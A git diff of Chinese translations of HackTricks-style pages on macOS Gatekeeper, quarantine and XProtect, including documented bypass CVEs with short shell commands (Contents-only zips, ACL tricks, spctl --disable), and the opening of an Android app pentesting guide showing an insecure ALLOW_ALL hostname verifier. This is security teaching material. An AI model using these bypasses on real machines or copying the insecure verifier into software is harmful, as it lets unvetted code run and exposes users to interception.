||||
|
||||
@ -141,11 +141,11 @@ sudo spctl --enable --label "whitelist"
|
||||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
关于 **内核扩展**,文件夹 `/var/db/SystemPolicyConfiguration` 包含允许加载的 kext 列表文件。此外,`spctl` 拥有 `com.apple.private.iokit.nvram-csr` 权限,因为它能够添加需要在 NVRAM 中以 `kext-allowed-teams` 键保存的新预先批准的内核扩展。
|
||||
关于 **内核扩展**,文件夹 `/var/db/SystemPolicyConfiguration` 包含允许加载的 kext 列表文件。此外,`spctl` 拥有 `com.apple.private.iokit.nvram-csr` 权限,因为它能够添加需要在 NVRAM 中以 `kext-allowed-teams` 键保存的新预批准内核扩展。
|
||||
|
||||
#### 在 macOS 15 (Sequoia) 及更高版本上管理 Gatekeeper
|
||||
|
||||
从 macOS 15 Sequoia 开始,最终用户无法再通过 `spctl` 切换 Gatekeeper 策略。管理通过系统设置进行,或通过部署带有 `com.apple.systempolicy.control` 负载的 MDM 配置文件进行。允许 App Store 和已识别开发者(但不允许“任何地方”)的示例配置文件片段:
|
||||
从 macOS 15 Sequoia 开始,最终用户无法再通过 `spctl` 切换 Gatekeeper 策略。管理通过系统设置进行,或通过部署带有 `com.apple.systempolicy.control` 负载的 MDM 配置文件进行。示例配置文件片段以允许 App Store 和已识别的开发者(但不允许“任何地方”):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -183,11 +183,11 @@ spctl --assess -v /Applications/App.app
|
||||
|
||||
在**下载**应用程序或文件时,特定的 macOS **应用程序**(如网页浏览器或电子邮件客户端)会为下载的文件**附加一个扩展文件属性**,通常称为“**隔离标志**”。此属性作为安全措施,**标记文件**来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
|
||||
|
||||
**隔离标志的存在在用户尝试执行文件时会触发 macOS 的 Gatekeeper 安全功能**。
|
||||
**隔离标志的存在在用户尝试执行文件时向 macOS 的 Gatekeeper 安全功能发出信号**。
|
||||
|
||||
在**隔离标志不存在**的情况下(例如通过某些 BitTorrent 客户端下载的文件),Gatekeeper 的**检查可能不会执行**。因此,用户在打开来自不太安全或未知来源的文件时应谨慎行事。
|
||||
在**隔离标志不存在**的情况下(例如通过某些 BitTorrent 客户端下载的文件),Gatekeeper 的**检查可能不会执行**。因此,用户在打开来自不太安全或未知来源的文件时应保持谨慎。
|
||||
|
||||
> [!NOTE] > **检查**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书有效性还涉及对 Apple 服务器进行**在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用程序时都是**不切实际的**。
|
||||
> [!NOTE] > **检查**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书有效性还涉及对 Apple 服务器进行**在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用程序时**不切实际**。
|
||||
>
|
||||
> 因此,这些检查**仅在执行具有隔离属性的应用程序时运行**。
|
||||
|
||||
@ -207,7 +207,7 @@ spctl --enable
|
||||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
您还可以使用以下命令**查找文件是否具有隔离扩展属性**:
|
||||
您还可以通过以下方式**查找文件是否具有隔离扩展属性**:
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
@ -315,23 +315,23 @@ Quarantine information is also stored in a central database managed by LaunchSer
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
内核扩展仅通过 **系统上的内核缓存** 可用;然而,您 _可以_ 从 [**https://developer.apple.com/**](https://developer.apple.com/) 下载 **内核调试工具包**,其中将包含该扩展的符号化版本。
|
||||
内核扩展仅通过 **系统上的内核缓存** 可用;然而,你 _可以_ 从 [**https://developer.apple.com/**](https://developer.apple.com/) 下载 **Kernel Debug Kit**,其中将包含该扩展的符号化版本。
|
||||
|
||||
这个 Kext 将通过 MACF 钩住多个调用,以捕获所有文件生命周期事件:创建、打开、重命名、硬链接... 甚至 `setxattr` 以防止其设置 `com.apple.quarantine` 扩展属性。
|
||||
|
||||
它还使用了一些 MIB:
|
||||
它还使用了一些 MIBs:
|
||||
|
||||
- `security.mac.qtn.sandbox_enforce`: 强制在沙箱中进行隔离
|
||||
- `security.mac.qtn.sandbox_enforce`: 强制隔离与沙箱
|
||||
- `security.mac.qtn.user_approved_exec`: 隔离的进程只能执行已批准的文件
|
||||
|
||||
#### Provenance xattr (Ventura 及更高版本)
|
||||
|
||||
macOS 13 Ventura 引入了一个单独的来源机制,该机制在第一次允许隔离应用程序运行时填充。创建了两个工件:
|
||||
macOS 13 Ventura 引入了一个单独的来源机制,该机制在第一次允许隔离应用运行时填充。创建了两个工件:
|
||||
|
||||
- `.app` 包目录上的 `com.apple.provenance` xattr(固定大小的二进制值,包含主键和标志)。
|
||||
- 在 `/var/db/SystemPolicyConfiguration/ExecPolicy/` 内的 ExecPolicy 数据库中的 `provenance_tracking` 表中的一行,存储应用程序的 cdhash 和元数据。
|
||||
- 在 `/var/db/SystemPolicyConfiguration/ExecPolicy/` 内的 ExecPolicy 数据库中的 `provenance_tracking` 表中的一行,存储应用的 cdhash 和元数据。
|
||||
|
||||
实际使用:
|
||||
Practical usage:
|
||||
```bash
|
||||
# Inspect provenance xattr (if present)
|
||||
xattr -p com.apple.provenance /Applications/Some.app | hexdump -C
|
||||
@ -344,17 +344,17 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
|
||||
```
|
||||
### XProtect
|
||||
|
||||
XProtect 是 macOS 中内置的 **反恶意软件** 功能。XProtect **在应用程序首次启动或修改时检查其与已知恶意软件和不安全文件类型的数据库**。当你通过某些应用程序(如 Safari、Mail 或 Messages)下载文件时,XProtect 会自动扫描该文件。如果它与数据库中的任何已知恶意软件匹配,XProtect 将 **阻止文件运行** 并提醒你存在威胁。
|
||||
XProtect 是 macOS 中内置的 **反恶意软件** 功能。XProtect **在应用程序首次启动或修改时检查其与已知恶意软件和不安全文件类型的数据库**。当您通过某些应用程序(如 Safari、Mail 或 Messages)下载文件时,XProtect 会自动扫描该文件。如果它与数据库中的任何已知恶意软件匹配,XProtect 将 **阻止文件运行** 并提醒您存在威胁。
|
||||
|
||||
XProtect 数据库由 Apple **定期更新** 新的恶意软件定义,这些更新会自动下载并安装到你的 Mac 上。这确保了 XProtect 始终与最新的已知威胁保持同步。
|
||||
XProtect 数据库由 Apple **定期更新** 新的恶意软件定义,这些更新会自动下载并安装到您的 Mac 上。这确保了 XProtect 始终与最新的已知威胁保持同步。
|
||||
|
||||
然而,值得注意的是 **XProtect 不是一个功能齐全的杀毒解决方案**。它仅检查特定的已知威胁列表,并不像大多数杀毒软件那样执行按需扫描。
|
||||
|
||||
你可以获取有关最新 XProtect 更新的信息:
|
||||
您可以获取有关最新 XProtect 更新的信息:
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该 bundle 内可以找到 XProtect 使用的信息:
|
||||
XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该捆绑包中可以找到 XProtect 使用的信息:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些 cdhash 的代码使用遗留权限。
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:不允许通过 BundleID 和 TeamID 加载的插件和扩展的列表,或指示最低版本。
|
||||
@ -376,7 +376,7 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
|
||||
|
||||
因此,之前可以执行一个应用程序以便用 Gatekeeper 缓存它,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
|
||||
|
||||
然而,现在这已不再可能,因为 macOS **防止修改** 应用程序包内的文件。因此,如果您尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,您会发现不再可能利用它,因为在执行应用程序以用 Gatekeeper 缓存它后,您将无法修改该 bundle。如果您例如将 Contents 目录的名称更改为 NotCon(如漏洞中所示),然后执行应用程序的主二进制文件以用 Gatekeeper 缓存它,将会触发错误并且无法执行。
|
||||
然而,现在这已不再可能,因为 macOS **防止修改** 应用程序捆绑包中的文件。因此,如果您尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,您会发现不再可能利用它,因为在执行应用程序以用 Gatekeeper 缓存它后,您将无法修改捆绑包。如果您例如将 Contents 目录的名称更改为 NotCon(如漏洞中所示),然后执行应用程序的主二进制文件以用 Gatekeeper 缓存它,将会触发错误并且无法执行。
|
||||
|
||||
## Gatekeeper 绕过
|
||||
|
||||
@ -386,21 +386,21 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
|
||||
|
||||
观察到如果使用 **Archive Utility** 进行提取,路径超过 **886 个字符** 的文件不会接收 com.apple.quarantine 扩展属性。这种情况无意中允许这些文件 **绕过 Gatekeeper 的** 安全检查。
|
||||
|
||||
有关更多信息,请查看 [**原始报告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)。
|
||||
查看 [**原始报告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) 以获取更多信息。
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
当使用 **Automator** 创建应用程序时,关于其执行所需的信息位于 `application.app/Contents/document.wflow` 中,而不在可执行文件中。可执行文件只是一个名为 **Automator Application Stub** 的通用 Automator 二进制文件。
|
||||
|
||||
因此,您可以使 `application.app/Contents/MacOS/Automator\ Application\ Stub` **通过符号链接指向系统内的另一个 Automator Application Stub**,它将执行 `document.wflow` 中的内容(您的脚本) **而不会触发 Gatekeeper**,因为实际的可执行文件没有 quarantine xattr。
|
||||
因此,您可以使 `application.app/Contents/MacOS/Automator\ Application\ Stub` **通过符号链接指向系统内的另一个 Automator Application Stub**,它将执行 `document.wflow` 中的内容(您的脚本) **而不会触发 Gatekeeper**,因为实际的可执行文件没有隔离 xattr。
|
||||
|
||||
示例预期位置:`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
有关更多信息,请查看 [**原始报告**](https://ronmasas.com/posts/bypass-macos-gatekeeper)。
|
||||
查看 [**原始报告**](https://ronmasas.com/posts/bypass-macos-gatekeeper) 以获取更多信息。
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
在此绕过中,创建了一个 zip 文件,应用程序从 `application.app/Contents` 开始压缩,而不是从 `application.app`。因此,**quarantine attr** 被应用于所有 **来自 `application.app/Contents` 的文件**,但 **不适用于 `application.app`**,这是 Gatekeeper 检查的内容,因此 Gatekeeper 被绕过,因为当触发 `application.app` 时 **没有 quarantine 属性。**
|
||||
在此绕过中,创建了一个 zip 文件,应用程序开始从 `application.app/Contents` 压缩,而不是从 `application.app`。因此,**隔离属性** 应用于所有 **来自 `application.app/Contents` 的文件**,但 **不适用于 `application.app`**,这是 Gatekeeper 检查的内容,因此 Gatekeeper 被绕过,因为当触发 `application.app` 时 **没有隔离属性。**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -408,7 +408,7 @@ zip -r test.app/Contents test.zip
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
即使组件不同,此漏洞的利用与之前的非常相似。在这种情况下,将从**`application.app/Contents`**生成一个Apple归档,因此**`application.app`在通过**Archive Utility**解压缩时不会获得隔离属性**。
|
||||
即使组件不同,此漏洞的利用与之前的非常相似。在这种情况下,将从 **`application.app/Contents`** 生成一个 Apple Archive,因此 **`application.app` 在通过 **Archive Utility** 解压时不会获得隔离属性**。
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
@ -425,7 +425,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
此外,**AppleDouble** 文件格式复制了一个文件及其 ACE。
|
||||
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中,可以看到存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中,可以看到存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到该应用程序中:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -476,7 +476,7 @@ aa archive -d s/ -o app.aar
|
||||
```
|
||||
### [CVE-2023-41067]
|
||||
|
||||
在 macOS Sonoma 14.0 中修复的 Gatekeeper 绕过漏洞允许经过精心设计的应用程序在没有提示的情况下运行。补丁发布后,详细信息被公开披露,并且在修复之前该问题在野外被积极利用。确保安装了 Sonoma 14.0 或更高版本。
|
||||
在 macOS Sonoma 14.0 中修复的 Gatekeeper 绕过漏洞允许经过精心制作的应用程序在没有提示的情况下运行。补丁发布后,详细信息被公开披露,并且在修复之前该问题在野外被积极利用。确保安装了 Sonoma 14.0 或更高版本。
|
||||
|
||||
### [CVE-2024-27853]
|
||||
|
||||
@ -484,7 +484,7 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
### 第三方解压工具错误传播隔离 (2023–2024)
|
||||
|
||||
一些流行的提取工具(例如 The Unarchiver)中的多个漏洞导致从归档中提取的文件缺少 `com.apple.quarantine` xattr,从而启用了 Gatekeeper 绕过的机会。在测试时始终依赖 macOS Archive Utility 或已修补的工具,并在提取后验证 xattrs。
|
||||
流行提取工具(例如 The Unarchiver)中的几个漏洞导致从归档中提取的文件缺少 `com.apple.quarantine` xattr,从而启用了 Gatekeeper 绕过的机会。在测试时始终依赖 macOS Archive Utility 或已修补的工具,并在提取后验证 xattrs。
|
||||
|
||||
### uchg (来自这个 [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Android Applications Pentesting
|
||||
# Android 应用程序渗透测试
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Android Applications Basics
|
||||
## Android 应用程序基础
|
||||
|
||||
强烈建议您开始阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**:
|
||||
|
||||
@ -10,26 +10,26 @@
|
||||
android-applications-basics.md
|
||||
{{#endref}}
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
## ADB (Android 调试桥)
|
||||
|
||||
这是您连接到 Android 设备(模拟或物理)的主要工具。\
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **文件的双向复制**、**应用程序的安装和卸载**、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
|
||||
|
||||
请查看以下[**ADB命令**](adb-commands.md)列表,以了解如何使用adb。
|
||||
查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。
|
||||
|
||||
## Smali
|
||||
|
||||
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
|
||||
[**在本教程中**,您可以**学习如何反编译APK、修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析**期间作为**多项测试的替代方案**可能非常有用。然后,**始终记住这个可能性**。
|
||||
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析期间的几项测试中可能非常有用**。因此,**始终记住这个可能性**。
|
||||
|
||||
## Other interesting tricks
|
||||
## 其他有趣的技巧
|
||||
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
- [在 Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku 特权 API(基于 ADB 的非根特权访问)](shizuku-privileged-api.md)
|
||||
- [利用不安全的应用内更新机制](insecure-in-app-update-rce.md)
|
||||
- [滥用无障碍服务(Android RAT)](accessibility-services-abuse.md)
|
||||
- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- 从设备提取 APK:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -65,23 +65,23 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### 寻找有趣的信息
|
||||
|
||||
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至寻找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||
仅查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至寻找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||
|
||||
**Firebase**
|
||||
|
||||
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
特别注意**firebase URL**,检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### 应用程序的基本理解 - Manifest.xml, strings.xml
|
||||
|
||||
**检查应用程序的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
|
||||
|
||||
**从 _Manifest.xml_ 中识别的漏洞包括:**
|
||||
**从 **Manifest.xml** 中识别的漏洞包括:**
|
||||
|
||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**:处理敏感信息的应用程序应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书钉扎和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**:处理敏感信息的应用程序应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书钉扎和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
|
||||
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
|
||||
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
|
||||
- **SDK 版本**:`minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。
|
||||
|
||||
@ -90,9 +90,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
|
||||
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||
实际上,它是**让用户不知道他们实际上是在对受害者应用程序执行操作**。
|
||||
|
||||
在这里找到更多信息:
|
||||
获取更多信息:
|
||||
|
||||
{{#ref}}
|
||||
tapjacking.md
|
||||
@ -100,9 +100,9 @@ tapjacking.md
|
||||
|
||||
### 任务劫持
|
||||
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
|
||||
|
||||
更多信息在:
|
||||
更多信息:
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
@ -117,7 +117,7 @@ android-task-hijacking.md
|
||||
1. **静态分析:**
|
||||
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
||||
2. **动态分析:**
|
||||
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能会带来重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
|
||||
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能会带来重大安全风险,因为这将允许**任何应用程序**在设备上安装,无论其来源或意图如何,**读取或修改**这些文件。
|
||||
|
||||
**外部存储**
|
||||
|
||||
@ -136,7 +136,7 @@ android-task-hijacking.md
|
||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||
|
||||
> [!TIP]
|
||||
> 从 Android 4.4(**API 17**)开始,SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
|
||||
> 从 Android 4.4(**API 17**)开始,SD 卡具有目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
|
||||
|
||||
**以明文存储的敏感数据**
|
||||
|
||||
@ -152,13 +152,13 @@ android-task-hijacking.md
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
测试此项的一个好方法是尝试使用一些代理(如 Burp)捕获流量,而不在设备中授权 Burp CA。此外,您还可以使用 Burp 为不同的主机名生成证书并使用它。
|
||||
测试此项的一个好方法是尝试使用像 Burp 这样的代理捕获流量,而不在设备中授权 Burp CA。此外,您还可以使用 Burp 为不同的主机名生成证书并使用它。
|
||||
|
||||
### 破损的加密
|
||||
|
||||
**糟糕的密钥管理流程**
|
||||
|
||||
一些开发人员将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这是不应该的,因为某些反向工程可能允许攻击者提取机密信息。
|
||||
一些开发人员将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这是不应该这样做的,因为某些反向工程可能允许攻击者提取机密信息。
|
||||
|
||||
**使用不安全和/或过时的算法**
|
||||
|
||||
@ -166,10 +166,10 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
### 其他检查
|
||||
|
||||
- 建议**混淆 APK**,以增加攻击者的反向工程难度。
|
||||
- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被 root**,并采取相应措施。
|
||||
- 建议对 **APK 进行混淆**,以增加攻击者的反向工程难度。
|
||||
- 如果应用程序是敏感的(如银行应用),它应该执行 **自己的检查以查看手机是否已被 root** 并采取相应措施。
|
||||
- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用 **模拟器**。
|
||||
- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**,以检查是否被修改。
|
||||
- 如果应用程序是敏感的(如银行应用),它应该 **在执行之前检查自身的完整性** 以确认是否被修改。
|
||||
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器
|
||||
|
||||
### React Native 应用程序
|
||||
@ -190,17 +190,17 @@ react-native-application.md
|
||||
|
||||
### 超级打包应用程序
|
||||
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些类型应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压的文件。**
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些类型应用程序的应用程序的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统中收集解压缩的文件。**
|
||||
|
||||
### 自动化静态代码分析
|
||||
|
||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过**扫描**应用程序的**代码**来发现**漏洞**。该工具包含一系列**已知源**(指示工具**用户控制的输入**的**位置**)、**汇**(指示工具**危险**的**位置**,恶意用户输入可能造成损害)和**规则**。这些规则指示**源-汇**的**组合**,表明存在漏洞。
|
||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制输入的地方**)、**汇**(指示工具 **危险的地方**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇** 的 **组合**,表明存在漏洞。
|
||||
|
||||
通过这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。
|
||||
|
||||
### 泄露的秘密
|
||||
|
||||
应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……)在其中,您可能能够发现。您可以使用工具如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……),您可能能够发现。您可以使用像 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 这样的工具。
|
||||
|
||||
### 绕过生物识别认证
|
||||
|
||||
@ -243,14 +243,14 @@ content-protocol.md
|
||||
|
||||
#### 使用模拟器
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需慢速的 arm 模拟器)。
|
||||
